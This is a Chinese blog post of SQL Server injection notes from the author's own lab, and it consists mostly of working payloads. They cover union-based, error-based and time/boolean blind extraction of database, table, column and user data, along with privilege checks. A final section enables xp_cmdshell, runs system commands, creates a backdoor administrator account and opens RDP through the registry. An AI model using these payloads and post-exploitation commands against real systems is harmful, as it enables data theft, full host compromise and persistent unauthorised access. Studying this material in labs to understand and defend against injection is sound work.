0x01:前言

sqlserver和mysql对于注入核心其实都是闭合单引号,只不过格式不同。此文重点记录一下sqlserver的格式。环境为自己搭建的SQL server+win7虚拟机,至于为什么没有asp代码,肯定是因为太菜不会asp。

0x02:数据库结构

test数据库以及users表

flag数据库以及flag_table表

由于不会asp所以直接在数据库进行查询操作,反正都一样。

0x03:sql注入

假设我们的sql语句为 : select * from users where id = '1',为了省略篇幅,下面的payload都从id开始

确认注入点:

payload:id = '1''

报错显示语法错误,且将错误点抛出,所以可以判断其为字符型注入

payload:id = '1' and '1' = '1'

payload:id = '1' and '1' = '2'

确认存在注入。

判断字段数:

payload: id = '1' order by 1 --

payload: id = '1' order by 2 --

......

payload: id = '1' order by 4 --

报错,无法对第四列进行排序,所以当前表只有三个字段。

联合注入

SQL server中,union select 1,2,3中的占位符用字符是不支持的

所以要使用null来替代占位符

当然使用 union all select 也可以

然后在占位符插入查询语句

payload:id = '1' union select null,@@version,db_name() --

有时会发生类型转换错误,因为mssql对于数据类型要求比较严格,不同类型的数据是无法一起执行的。

比如

但是这个错误可以也可以利用作为报错注入使用,现在先说报错注入。

信息收集

mssql的注入危害是相当大的,严重可导致服务器失陷,所以前期信息收集很重要。

  • @@version#版本信息
  • db_name()#当前数据库
  • @@SERVERNAME#当前计算机名
  • user_name()#当前数据库用户名
  • db_name(1)#通过遍历db_name(1)中的数字获取其他库名
  • ...
  • SUSER_NAME()#查看数据库用户名
  • and 1=(IS_SRVROLEMEMBER('sysadmin'))# 查看当前数据库用户权限:
  • and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
  • and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
  • and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
  • and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
  • and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
  • and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
  • and 1=(select IS_MEMBER('db_owner'));--

回显正常则说明该数据库用户权限为sa,其他类似。

查询数据库名

可以使用db_name()或者使用系统表sys.databases查询。

payload:union select null,(select top 1 name from sys.databases where name not in(select top 0 name from sys.databases)),null --#通过修改top的值进行遍历数据库名,由于sqlserver没有limit,所以只能使用top进行替代, top 1 只返回一条数据,若where条件是判断用户不在某个集合当中,我们习惯使用 where 列名 not in (集合) 子句 。

和mysql一样,sqlserver也是关系型数据库,所以数据库中所有的序都保存在系统库master中,比如数据库名就在系统视图sys.databases的name列中。

查询指定数据库的数据表名:

payload:-1' union all select null,(select top 1 table_name from information_schema.tables where table_name not in (select top 0 table_name from information_schema.tables)),null --#通过遍历not in 子句集合中的top 数据进行遍历表名

查询指定数据表的字段名:

payload:union all select null,(select top 1 column_name from information_schema.columns where table_name='users' and column_name not in(select top 0 column_name from information_schema.columns where table_name='users')),null --#通过遍历子句集合中的top数值进行遍历字段名。

查询字段的值

union all select null,(select top 1 username from users where username not in (select top 2 username from users)),null --# 通过遍历子句集合中的top数值进行遍历字段值。

报错注入

报错注入查询版本信息

payload:and 1=(select 1/@@version)

payload:and 1=(select1/@@servername)

报错查询数据库名

payload:and 1=(select 1/(select top 1 name from sys.databases where name not in(select top 0 name from sys.databases))) -- # 通过改变not in 子集中top的值进行遍历数据库名。

报错查询数据表名:

payload:and 1=(select 1/(select top 1 table_name from information_schema.tables where table_name not in (select top 0 table_name from information_schema.tables))) --# 通过改变not in 子集中top的值进行遍历数据表名。

报错查询字段名:

payload: and 1=(select 1/(select top 1 column_name from information_schema.columns where table_name='users' and column_name not in(select top 0 column_name from information_schema.columns where table_name='users'))) --# 通过改变not in 子集中top的值进行遍历字段名。

报错注入查询字段的值:

payload: and 1=(select 1/(select top 1 username from users where username not in (select top 2 username from users))) --# 通过改变not in 子集中top的值进行遍历值。

时间盲注

套娃:

payload:if(SUBSTRING(DB_NAME(),1,1)=CHAR(116)) waitfor delay '0:0:5'

payload:if ASCII(SUBSTRING((select top 1 username from users where username not in (select top 1 username from users)),1,1))=115 WAITFOR DELAY '0:0:5'

布尔盲注

套娃即可

信息收集:

payload:and ascii(substring((select db_name(1)),1,1))>64 --

0x04:SA权限开启xp_cmdshell获取主机权限

如果xp_cmdshell权限没开启的话,我们可以执行下面命令开启,下面四步,使xp_cmdshell开启

select count(*) FROM sysobjects Where xtype = 'X' AND name = 'xp_cmdshell' #判断xp_cmdshell是否打开,1就是打开了,0就是关闭了

此时是xp_cmdshell关闭状态

execute('sp_configure "show advanced options",1'); #将该选项的值设置为1
reconfigure; #保存设置
exec sp_configure 'xp_cmdshell',1; #将xp_cmdshell的值设置为1
reconfigure; #保存设置
exec sp_configure #查看配置
exec xp_cmdshell 'whoami' #执行系统命令

如果是admin组的,则可以添加账户,添加至管理员操作

exec xp_cmdshell 'net user test 123456' #增加用户
exec xp_cmdshell 'net localgroup administrators test /add' #将test用户添加到administrators用户组
exec xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' #开启3389端口

3389已开放。

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注